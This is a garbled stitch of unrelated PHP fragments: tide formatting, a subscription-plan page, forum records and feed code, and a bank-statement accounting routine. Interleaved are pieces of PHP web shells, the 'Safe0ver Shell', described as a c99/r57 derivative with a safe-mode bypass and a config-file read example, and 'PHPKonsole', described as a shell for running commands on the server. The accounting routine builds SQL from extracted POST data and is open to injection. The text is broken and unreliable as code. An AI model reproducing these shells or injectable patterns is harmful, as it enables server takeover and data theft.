function h()
{
echo 'Testing $$x (created at runtime) in optimized function: ';
$x = "y";
echo isset(${$x}) . sp();
${$x} = 5;
echo isset(${$x}) . sp();
unset(${$x});
}
/**
* Format a tide item
*
* Note: We need to cast the item values to string to avoid getting e.g.
* `SimpleXMLElement Object ( [0] => 12:46 AM ) `
* when we just want 12:46 AM
*
*
* @param SimpleXMLElement $item
*/
function us_format_item($item)
{
bw_trace2($item, "item", false, BW_TRACE_DEBUG);
sp("item");
sepan("time", (string) $item->time);
e(" ");
sepan("ft", (string) $item->predictions_in_ft);
e(" ");
if ($item->highlow == 'L') {
sepan("highlow low", "Low Tide");
} else {
sepan("highlow high", "High Tide");
}
ep();
}
<?php
include_once "../database.php";
$sub = sp();
?>
<html>
<head><title>PH directory - subscription plan</title></head>
<body>
<button class="btn btn-primary"><a href="index.php?page=subplan-add">Add New Subscription Plan</a></button>
<table class="table">
<thead>
<tr>
<td>Subscription No.</td>
<td>Subscription Name</td>
<td>Description</td>
<td>Amount</td>
<td></td>
<td></td>
<tr>
</thead>
<?php
foreach ($sub as $a) {
?>
<tr>
<td><?php
echo $a['SPID'];
?>
</td>
<td><?php
function tblinfo($n)
{
global $tbl, $tccell2, $tccell2l;
$t = $tbl[$n];
return "\n\t\t<tr align=right>\n\t\t{$tccell2}>{$t['Name']}</td>\n\t\t{$tccell2l}>" . sp($t['Rows']) . "</td>\n\t\t{$tccell2l}>" . sp($t['Avg_row_length']) . "</td>\n\t\t{$tccell2l}>" . sp($t['Data_length']) . "</td>\n\t\t{$tccell2l}>" . sp($t['Index_length']) . "</td>\n\t\t{$tccell2l}>" . sp($t['Data_free']) . "</td>\n\t\t{$tccell2l}>" . sp($t['Data_length'] + $t['Index_length']) . "</td></tr>";
}
<tr>
<td width="100%" class="border">
<center> -<[{ <?php
echo $scriptTitle;
?>
Main Menu }]>- </center>
</td>
</tr>
</table>
<br>
<center>
<table border="0" NOWRAP>
<tr>
<td valign="top" class="silver border">
<?php
echo buildUrl(sp(2) . "<font color=\"navy\"><strong>##Safe0ver##</strong></font>", "cmd=dir&dir=.") . sp(2);
?>
</td>
<td style="BORDER-TOP: silver 1px solid;" width=350 NOWRAP><span class="style5"> Safe0ver Shell Piyasada Bulunan Bir C*k Shell'in Kodlarindan(c99,r57 vs...) Sentezlenerek Kodlanmistir.Entegre Olarak Bypass Ćzelligi Eklenmis Ve Bƶylece Tahrip GĆ¼cĆ¼ YĆ¼kseltilmistir.Yazilimimiz Hic bir Virus,worm,trojan gibi Kullaniciyi Tehdit Eden Veya SƶmĆ¼ren yazilimlar Icermemektedir.<p>--------------------------<p>Bypass KullanĆ½m:<b>Cat /home/evilc0der/public_html/config.php</b> Gibi Olmalidir.<br>
</span></td>
</tr>
</table>
<br><p><br>Safe Mode ByPAss<p><form method="POST">
<p align="center"><input type="text" size="40" value="<?php
if ($_POST['dizin'] != "") {
echo $_POST['dizin'];
} else {
echo $klasor;
}
?>
" name="dizin">
<?php
// AcmlmBoard XD - The Records
// Access: all
include "lib/common.php";
$title = __("Records");
AssertForbidden("viewRecords");
$df = "l, F jS Y, G:i:s";
write("\n<table class=\"outline margin width75\">\n\t<tr class=\"header0\">\n\t\t<th colspan=\"2\">\n\t\t\t" . __("Highest Numbers") . "\n\t\t</th>\n\t</tr>\n\t<tr class=\"cell0\">\n\t\t<td>\n\t\t\t" . __("Highest number of posts in 24 hours") . "\n\t\t</td>\n\t\t<td>\n\t\t\t" . __("<strong>{0}</strong>, on {1} GMT") . "\n\t\t</td>\n\t</tr>\n\t<tr class=\"cell1\">\n\t\t<td>\n\t\t\t" . __("Highest number of posts in one hour") . "\n\t\t</td>\n\t\t<td>\n\t\t\t" . __("<strong>{2}</strong>, on {3} GMT") . "\n\t\t</td>\n\t</tr>\n\t<tr class=\"cell0\">\n\t\t<td>\n\t\t\t" . __("Highest number of users in five minutes") . "\n\t\t</td>\n\t\t<td>\n\t\t\t" . __("<strong>{4}</strong>, on {5} GMT") . "\n\t\t</td>\n\t</tr>\n\t<tr class=\"cell1\">\n\t\t<td></td>\n\t\t<td>\n\t\t\t{6}\n\t\t</td>\n\t</tr>\n</table>\n", $misc['maxpostsday'], gmdate($df, $misc['maxpostsdaydate']), $misc['maxpostshour'], gmdate($df, $misc['maxpostshourdate']), $misc['maxusers'], gmdate($df, $misc['maxusersdate']), $misc['maxuserstext']);
$rStats = Query("show table status");
while ($stat = Fetch($rStats)) {
$tables[$stat['Name']] = $stat;
}
$tablelist = "";
$rows = $avg = $datlen = $idx = $datfree = 0;
foreach ($tables as $table) {
$cellClass = ($cellClass + 1) % 2;
$tablelist .= format("\n\t<tr class=\"cell{0}\">\n\t\t<td class=\"cell2\">{1}</td>\n\t\t<td>\n\t\t\t{2}\n\t\t</td>\n\t\t<td>\n\t\t\t{3}\n\t\t</td>\n\t\t<td>\n\t\t\t{4}\n\t\t</td>\n\t\t<td>\n\t\t\t{5}\n\t\t</td>\n\t\t<td>\n\t\t\t{6}\n\t\t</td>\n\t\t<td>\n\t\t\t{7}\n\t\t</td>\n\t</tr>\n", $cellClass, $table['Name'], $table['Rows'], sp($table['Avg_row_length']), sp($table['Data_length']), sp($table['Index_length']), sp($table['Data_free']), sp($table['Data_length'] + $table['Index_length']));
$rows += $table['Rows'];
$avg += $table['Avg_row_length'];
$datlen += $table['Data_length'];
$idx += $table['Index_length'];
$datfree += $table['Data_free'];
}
write("\n<table class=\"outline margin\">\n\t<tr class=\"header0\">\n\t\t<th colspan=\"7\">\n\t\t\t" . __("Table Status") . "\n\t\t</th>\n\t</tr>\n\t<tr class=\"header1\">\n\t\t<th>\n\t\t\t" . __("Name") . "\n\t\t</th>\n\t\t<th>\n\t\t\t" . __("Rows") . "\n\t\t</th>\n\t\t<th>\n\t\t\t" . __("Avg. data/row") . "\n\t\t</th>\n\t\t<th>\n\t\t\t" . __("Data size") . "\n\t\t</th>\n\t\t<th>\n\t\t\t" . __("Index size") . "\n\t\t</th>\n\t\t<th>\n\t\t\t" . __("Unused data") . "\n\t\t</th>\n\t\t<th>\n\t\t\t" . __("Total size") . "\n\t\t</th>\n\t</tr>\n\t{0}\n\t<tr class=\"header1\">\n\t\t<th colspan=\"7\" style=\"height: 8px;\"></th>\n\t</tr>\n\t<tr class=\"cell2\">\n\t\t<td style=\"font-weight: bold;\">\n\t\t\t" . __("Total") . "\n\t\t</td>\n\t\t<td>\n\t\t\t{1}\n\t\t</td>\n\t\t<td>\n\t\t\t{2}\n\t\t</td>\n\t\t<td>\n\t\t\t{3}\n\t\t</td>\n\t\t<td>\n\t\t\t{4}\n\t\t</td>\n\t\t<td>\n\t\t\t{5}\n\t\t</td>\n\t\t<td>\n\t\t\t{6}\n\t\t</td>\n\t</tr>\n</table>\n", $tablelist, $rows, sp($avg), sp($datlen), sp($idx), sp($datfree), sp($datlen + $idx));
function sp($sz)
{
return number_format($sz, 0, '.', ',');
}
files and directories on a unsecure server with php support.<br><br>This entire script
is coded for unsecure servers, if your server is secured the script will hide commands
or will even return errors to your browser...<br><br>
</td>
</tr>
<tr>
<td valign="top" class="silver border">
<?php
echo buildUrl(sp(2) . "<font color=\"navy\"><strong>==> PHPKonsole <==</strong></font>", "cmd=con") . sp(2);
?>
</td>
<td style="BORDER-TOP: silver 1px solid;" width=350 NOWRAP>
<br>PHPKonsole is just a little telnet like shell wich allows you to run commands on the webserver.
When you run commands they will run as the webservers UserID. This should work perfectly
for managing files, like moving, copying etc. If you're using a linux server, system commands
such as ls, mv and cp will be available for you... <br><br>This function will only work if the
server supports php and the execute commands...<br><br>
<homepage>' . sp(htmlspecialchars($r->homepage)) . '</homepage>
<bday>' . $r->bday . '</bday>
<last_visit>' . $r->last_visit . '</last_visit>
<reg_date>' . $r->join_date . '</reg_date>
<im_icq>' . $r->icq . '</im_icq>
<im_aim>' . sp($r->aim) . '</im_aim>
<im_yahoo>' . sp($r->yahoo) . '</im_yahoo>
<im_msnm>' . sp($r->msnm) . '</im_msnm>
<im_jabber>' . sp($r->msnm) . '</im_jabber>
<im_affero>' . sp($r->affero) . '</im_affero>
';
if ($r->subject && $r->can_show_msg) {
echo '
<m_subject>' . sp($r->subject) . '</m_subject>
<m_id>' . $r->msg_id . '</m_id>
<m_thread_id>' . $r->thread_id . '</m_thread_id>
<m_forum_id>' . $r->forum_id . '</m_forum_id>
<m_forum_title>' . sp($r->frm_name) . '</m_forum_title>
<m_cat_title>' . sp($r->cat_name) . '</m_cat_title>
';
}
echo '</item>';
}
break;
}
if (!empty($res)) {
un_register_fps();
echo '</rdf:RDF>';
} else {
exit('no data');
}
/**
* Output a paragraph of translated text
*/
function p_($text = null, $class = null, $id = null)
{
sp($class, $id);
if (!is_null($text)) {
e($text);
}
etag("p");
}
function write_actions($_POST)
{
extract($_POST);
if (isset($back)) {
unset($_POST["back"]);
$_POST["next"] = "";
return confirm_actions($_POST);
}
if (!isset($bankid)) {
return enter_actions($_POST);
}
if (!isset($next)) {
return enter_actions($_POST);
}
$bankid += 0;
$vatr = TAX_VAT;
$vatacc = gethook("accnum", "salesacc", "name", "VAT");
db_conn('cubit');
$Sl = "SELECT * FROM bankacct WHERE bankid='{$bankid}'";
$Ri = db_exec($Sl) or errDie("unable to get data.");
if (pg_num_rows($Ri) < 1) {
return enter_actions($_POST);
}
$bd = pg_fetch_array($Ri);
$i = 0;
core_connect();
$sql = "SELECT * FROM bankacc WHERE accid = '{$bankid}' AND div = '" . USER_DIV . "'";
$rslt = db_exec($sql) or errDie("Unable to retrieve bank account link from Cubit", SELF);
# Check if link exists
if (pg_numrows($rslt) < 1) {
return "<li class='err'> ERROR : The bank account that you selected doesn't appear to have an account linked to it.</li>";
}
$banklnk = pg_fetch_array($rslt);
db_conn('cubit');
$Sl = "SELECT * FROM statement_data WHERE account='{$bankid}' ORDER BY date";
$Ri = db_exec($Sl) or errDie("unable to get data.");
$out = "\n\t\t<h3>Please Confirm the actions you want to take.({$bd['bankname']} - {$bd['accname']})</h3>\n\t\t<li class='err'>Please note: Payments are in red.</li>\n\t\t<table " . TMPL_tblDflts . ">\n\t\t<form action='" . SELF . "' method='POST'>\n\t\t\t<input type='hidden' name='key' value='confirm_actions2'>\n\t\t\t<tr>\n\t\t\t\t<th>Date</th>\n\t\t\t\t<th>Amount</th>\n\t\t\t\t<th>Description</th>\n\t\t\t\t<th>From/To</th>\n\t\t\t\t<th>Cheque</th>\n\t\t\t\t<th>Contra Account/Action</th>\n\t\t\t</tr>";
while ($data = pg_fetch_array($Ri)) {
pglib_transaction("BEGIN") or errDie("Unable to start a database transaction.", SELF);
$refnum = getrefnum();
extract($data);
if (isset($contras[$id])) {
$contras[$id] = safe($contras[$id]);
}
if (isset($descriptions[$id])) {
$descriptions[$id] = safe($descriptions[$id]);
}
if (isset($accounts[$id])) {
$accounts[$id] += 0;
}
if ($amount > 0) {
$trantype = "deposit";
} else {
$trantype = "withdrawal";
}
$pamount = abs($amount);
$cheqnum = $contra;
$cheqnum += 0;
$action = $actions[$id];
if (isset($year[$id])) {
$date = "{$year[$id]}-{$mon[$id]}-{$day[$id]}";
} else {
$date = date("Y-m-d");
}
if (!gd($date)) {
return "<li class='err'>Invalid date {$testd}.</li>" . confirm_actions($_POST);
}
if ($action == "c" || $action == "cr") {
db_conn('core');
$Sl = "SELECT * FROM accounts WHERE accid='{$accounts[$id]}'";
$Rl = db_exec($Sl) or errDie("Unable to get account data.");
if (pg_numrows($Rl) < 1) {
return "<li>Account not found.</li>";
}
$data = pg_fetch_array($Rl);
$details = $data['accname'];
if ($action == "cr") {
$rid = 333;
} else {
$rid = 0;
}
$cheque[$id] += 0;
db_connect();
$vat = 0;
$chrgvat = "no";
$Sl = "\n\t\t\t\tINSERT INTO cashbook (\n\t\t\t\t\tbankid, trantype, date, name, descript, cheqnum, \n\t\t\t\t\tamount, vat, chrgvat, banked, accinv, div,rid\n\t\t\t\t) VALUES (\n\t\t\t\t\t'{$bankid}', '{$trantype}', '{$date}', '{$contras[$id]}', '{$descriptions[$id]}', '{$cheque[$id]}', \n\t\t\t\t\t'{$amounts[$id]}', '{$vat}', '{$chrgvat}', 'no', '{$accounts[$id]}', '" . USER_DIV . "','{$rid}'\n\t\t\t\t)";
$Rl = db_exec($Sl) or errDie("Unable to add bank payment to database.", SELF);
if ($trantype == "deposit") {
db_conn('core');
$Sl = "SELECT * FROM bankacc WHERE accnum='{$accounts[$id]}'";
$Rg = db_exec($Sl) or errDie("Unable to get accnum");
if (pg_num_rows($Rg) > 0) {
$bd = pg_fetch_array($Rg);
db_conn('cubit');
//$Sl="SELECT * FROM bankacct WHERE
$sql = "\n\t\t\t\t\t\tINSERT INTO cashbook (\n\t\t\t\t\t\t\tbankid, trantype, date, name, descript, cheqnum, \n\t\t\t\t\t\t\tamount, vat, chrgvat, banked, accinv, div\n\t\t\t\t\t\t) VALUES (\n\t\t\t\t\t\t\t'{$bd['accid']}', 'withdrawal', '{$date}', '{$descriptions[$id]}', '{$descriptions[$id]}', '0', \n\t\t\t\t\t\t\t'{$amounts[$id]}', '0', '', 'no', '{$banklnk['accnum']}', '" . USER_DIV . "'\n\t\t\t\t\t\t)";
$Rslt = db_exec($sql) or errDie("Unable to add bank payment to database.", SELF);
}
if ($vats[$id] == "No") {
writetrans($banklnk['accnum'], $accounts[$id], $date, $refnum, $amounts[$id], $descriptions[$id]);
} else {
$vat = sprint($amounts[$id] * $vatr / (100 + $vatr));
$vatex = sprint($amounts[$id] - $vat);
writetrans($banklnk['accnum'], $accounts[$id], $date, $refnum, $vatex, $descriptions[$id]);
writetrans($banklnk['accnum'], $vatacc, $date, $refnum, $vat, "VAT " . $descriptions[$id]);
db_connect();
$get_vats = "SELECT * FROM vatcodes WHERE id = '{$vatcode[$id]}' LIMIT 1";
$run_vats = db_exec($get_vats) or errDie("Unable to get vat code information.");
if (pg_numrows($run_vats) > 0) {
$vd = pg_fetch_array($run_vats);
vatr($vd['id'], $date, "INPUT", $vd['code'], $refnum, $descriptions[$id], $amounts[$id], $vat);
}
}
} else {
db_conn('core');
$Sl = "SELECT * FROM bankacc WHERE accnum='{$accounts[$id]}'";
$Rg = db_exec($Sl) or errDie("Unable to get accnum");
if (pg_num_rows($Rg) > 0) {
$bd = pg_fetch_array($Rg);
db_conn('cubit');
//$Sl="SELECT * FROM bankacct WHERE
$sql = "\n\t\t\t\t\t\tINSERT INTO cashbook (\n\t\t\t\t\t\t\tbankid, trantype, date, name, descript, cheqnum, \n\t\t\t\t\t\t\tamount, vat, chrgvat, banked, accinv, div\n\t\t\t\t\t\t) VALUES (\n\t\t\t\t\t\t\t'{$bd['accid']}', 'deposit', '{$date}', '{$descriptions[$id]}', '{$descriptions[$id]}', '0', \n\t\t\t\t\t\t\t'{$amounts[$id]}', '0', '', 'no', '{$banklnk['accnum']}', '" . USER_DIV . "'\n\t\t\t\t\t\t)";
$Rslt = db_exec($sql) or errDie("Unable to add bank payment to database.", SELF);
}
if ($vats[$id] == "No") {
writetrans($accounts[$id], $banklnk['accnum'], $date, $refnum, $amounts[$id], $descriptions[$id]);
} else {
$vat = sprint($amounts[$id] * $vatr / (100 + $vatr));
$vatex = sprint($amounts[$id] - $vat);
writetrans($vatacc, $banklnk['accnum'], $date, $refnum, $vat, "VAT " . $descriptions[$id]);
writetrans($accounts[$id], $banklnk['accnum'], $date, $refnum, $vatex, $descriptions[$id]);
db_connect();
$get_vats = "SELECT * FROM vatcodes WHERE id = '{$vatcode[$id]}' LIMIT 1";
$run_vats = db_exec($get_vats) or errDie("Unable to get vat code information.");
if (pg_numrows($run_vats) > 0) {
$vd = pg_fetch_array($run_vats);
vatr($vd['id'], $date, "INPUT", $vd['code'], $refnum, $descriptions[$id], -$amounts[$id], -$vat);
}
}
}
db_conn('cubit');
$Sl = "DELETE FROM statement_arefs WHERE des1='{$description}' AND des2='{$contra}' AND pn='{$trantype}' AND amount='{$pamount}'";
$RI = db_exec($Sl) or errDie("Unable to get data.");
$Sl = "SELECT * FROM statement_irefs WHERE des1='{$description}' AND des2='{$contra}' AND pn='{$trantype}' AND amount='{$pamount}'";
$RI = db_exec($Sl) or errDie("Unable to get data.");
if (pg_num_rows($Rl) == 0) {
$Sl = "INSERT INTO statement_arefs (amount, des1, des2, pn, action, account, by) VALUES ('{$pamount}','{$description}','{$contra}','{$trantype}','c','{$accounts[$id]}','" . USER_NAME . "')";
$Rl = db_exec($Sl) or errDie("Unable to insert statement data.");
}
$Sl = "DELETE FROM statement_data WHERE id='{$id}'";
$Rl = db_exec($Sl) or errDie("Unable to remove data.");
} elseif ($action == "r") {
db_conn('cubit');
$Sl = "SELECT * FROM cashbook WHERE cashid='{$recon[$id]}'";
$Rl = db_exec($Sl) or errDie("Unable to get cashbook data.");
if (pg_num_rows($Rl) == 1) {
$cd = pg_fetch_array($Rl);
$Sl = "UPDATE cashbook SET rid='333' WHERE cashid='{$cd['cashid']}'";
$Rl = db_exec($Sl) or errDie("Unable to update cashbook.");
$Sl = "DELETE FROM statement_data WHERE id='{$id}'";
$Rl = db_exec($Sl) or errDie("Unable to remove data.");
} else {
$details = "";
}
} elseif ($action == "d") {
db_conn('cubit');
$Sl = "DELETE FROM statement_data WHERE id='{$id}'";
$Rl = db_exec($Sl) or errDie("Unable to remove data.");
} elseif ($action == "cp") {
cp2($customers[$id], abs($amounts[$id]), $descriptions[$id], $contras[$id], $refnum, $date, $cheque[$id], $bankid);
db_conn('cubit');
$Sl = "DELETE FROM statement_arefs WHERE des1='{$description}' AND des2='{$contra}' AND pn='{$trantype}' AND amount='{$pamount}'";
$RI = db_exec($Sl) or errDie("Unable to get data.");
$Sl = "SELECT * FROM statement_irefs WHERE des1='{$description}' AND des2='{$contra}' AND pn='{$trantype}' AND amount='{$pamount}'";
$RI = db_exec($Sl) or errDie("Unable to get data.");
if (pg_num_rows($RI) == 0) {
$Sl = "INSERT INTO statement_arefs (amount,des1,des2,pn,action,account,by) VALUES ('{$pamount}','{$description}','{$contra}','{$trantype}','cp','{$customers[$id]}','" . USER_NAME . "')";
$Rl = db_exec($Sl) or errDie("Unable to insert statement data.");
}
$Sl = "DELETE FROM statement_data WHERE id='{$id}'";
$Rl = db_exec($Sl) or errDie("Unable to remove data.");
} elseif ($action == "sp") {
sp($suppliers[$id], abs($amounts[$id]), $descriptions[$id], $contras[$id], $refnum, $date, $cheque[$id], $bankid);
db_conn('cubit');
$Sl = "DELETE FROM statement_arefs WHERE des1='{$description}' AND des2='{$contra}' AND pn='{$trantype}' AND amount='{$pamount}'";
$RI = db_exec($Sl) or errDie("Unable to get data.");
$Sl = "SELECT * FROM statement_irefs WHERE des1='{$description}' AND des2='{$contra}' AND pn='{$trantype}' AND amount='{$pamount}'";
$RI = db_exec($Sl) or errDie("Unable to get data.");
if (pg_num_rows($Rl) == 0) {
$Sl = "INSERT INTO statement_arefs (amount,des1,des2,pn,action,account,by) VALUES ('{$pamount}','{$description}','{$contra}','{$trantype}','sp','{$suppliers[$id]}','" . USER_NAME . "')";
$Rl = db_exec($Sl) or errDie("Unable to insert statement data.");
}
$Sl = "DELETE FROM statement_data WHERE id='{$id}'";
$Rl = db_exec($Sl) or errDie("Unable to remove data.");
}
pglib_transaction("COMMIT") or errDie("Unable to commit a database transaction.", SELF);
$i++;
}
$out .= "\n\t\t\t<tr><td><br></td></tr>\n\t\t\t<tr></td></tr>\n\t\t</form>\n\t\t</table>";
$out = "\n\t\t<table " . TMPL_tblDflts . ">\n\t\t\t<tr>\n\t\t\t\t<th>Done</th>\n\t\t\t</tr>\n\t\t\t<tr class='" . bg_class() . "'>\n\t\t\t\t<td>Your transactions have been processed</th>\n\t\t\t</tr>\n\t\t</table>";
return $out;
}
function DB_MSG($Msg)
{
if ($GLOBALS["Debug"] == 1) {
sp($Msg);
}
}
$rStats = Query("show table status");
while ($stat = Fetch($rStats)) {
$tables[$stat['Name']] = $stat;
}
$tablelist = "";
$rows = $avg = $datlen = $idx = $datfree = 0;
foreach ($tables as $table) {
$cellClass = ($cellClass + 1) % 2;
$tablelist .= format("\n\t<tr class=\"cell{0}\">\n\t\t<td class=\"cell2\">{1}</td>\n\t\t<td>\n\t\t\t{2}\n\t\t</td>\n\t\t<td>\n\t\t\t{3}\n\t\t</td>\n\t\t<td>\n\t\t\t{4}\n\t\t</td>\n\t\t<td>\n\t\t\t{5}\n\t\t</td>\n\t\t<td>\n\t\t\t{6}\n\t\t</td>\n\t\t<td>\n\t\t\t{7}\n\t\t</td>\n\t</tr>\n", $cellClass, $table['Name'], $table['Rows'], sp($table['Avg_row_length']), sp($table['Data_length']), sp($table['Index_length']), sp($table['Data_free']), sp($table['Data_length'] + $table['Index_length']));
$rows += $table['Rows'];
$avg += $table['Avg_row_length'];
$datlen += $table['Data_length'];
$idx += $table['Index_length'];
$datfree += $table['Data_free'];
}
write("\n<table class=\"outline margin\">\n\t<tbody>\n\t\t<tr class=\"header0\">\n\t\t\t<th colspan=\"7\" style=\"cursor:pointer;\" onclick=\"\$('#fulltables').toggle();\">\n\t\t\t\t" . __("Table Status (click to toggle details)") . "\n\t\t\t</th>\n\t\t</tr>\n\t\t<tr class=\"header1\">\n\t\t\t<th>\n\t\t\t\t" . __("Name") . "\n\t\t\t</th>\n\t\t\t<th>\n\t\t\t\t" . __("Rows") . "\n\t\t\t</th>\n\t\t\t<th>\n\t\t\t\t" . __("Avg. data/row") . "\n\t\t\t</th>\n\t\t\t<th>\n\t\t\t\t" . __("Data size") . "\n\t\t\t</th>\n\t\t\t<th>\n\t\t\t\t" . __("Index size") . "\n\t\t\t</th>\n\t\t\t<th>\n\t\t\t\t" . __("Unused data") . "\n\t\t\t</th>\n\t\t\t<th>\n\t\t\t\t" . __("Total size") . "\n\t\t\t</th>\n\t\t</tr>\n\t</tbody>\n\t<tbody id=\"fulltables\" style=\"display:none;\">\n\t\t{0}\n\t\t<tr class=\"header1\">\n\t\t\t<th colspan=\"7\" style=\"height: 8px;\"></th>\n\t\t</tr>\n\t</tbody>\n\t<tbody>\n\t\t<tr class=\"cell2\">\n\t\t\t<td style=\"font-weight: bold;\">\n\t\t\t\t" . __("Total") . "\n\t\t\t</td>\n\t\t\t<td>\n\t\t\t\t{1}\n\t\t\t</td>\n\t\t\t<td>\n\t\t\t\t{2}\n\t\t\t</td>\n\t\t\t<td>\n\t\t\t\t{3}\n\t\t\t</td>\n\t\t\t<td>\n\t\t\t\t{4}\n\t\t\t</td>\n\t\t\t<td>\n\t\t\t\t{5}\n\t\t\t</td>\n\t\t\t<td>\n\t\t\t\t{6}\n\t\t\t</td>\n\t\t</tr>\n\t</tbody>\n</table>\n", $tablelist, $rows, sp($avg), sp($datlen), sp($idx), sp($datfree), sp($datlen + $idx));
// daily stats code
$mydatefmt = 'm-d-Y';
if ($loguserid) {
$mydatefmt = $loguser['dateformat'];
}
$timewarp = time() - 2592000;
$utotal = FetchResult("SELECT COUNT(*) FROM {users} WHERE regdate<{0}", $timewarp);
$ttotal = FetchResult("SELECT COUNT(*) num FROM {threads} t LEFT JOIN {posts} p ON p.thread=t.id AND p.id=(SELECT MIN(p2.id) FROM {posts} p2 WHERE p2.thread=t.id) WHERE p.date<{0}", $timewarp);
$ptotal = FetchResult("SELECT COUNT(*) FROM {posts} WHERE date<{0}", $timewarp);
$usersperday = Query("SELECT FLOOR(regdate / 86400) day, COUNT(*) num FROM {users} WHERE regdate>={0} GROUP BY day ORDER BY day", $timewarp);
$threadsperday = Query("SELECT FLOOR(p.date / 86400) day, COUNT(*) num FROM {threads} t LEFT JOIN {posts} p ON p.thread=t.id AND p.id=(SELECT MIN(p2.id) FROM {posts} p2 WHERE p2.thread=t.id) WHERE p.date>={0} GROUP BY day ORDER BY day", $timewarp);
$postsperday = Query("SELECT FLOOR(date / 86400) day, COUNT(*) num FROM {posts} WHERE date>={0} GROUP BY day ORDER BY day", $timewarp);
$stats = array();
while ($u = Fetch($usersperday)) {
$stats[$u['day']]['u'] = $u['num'];
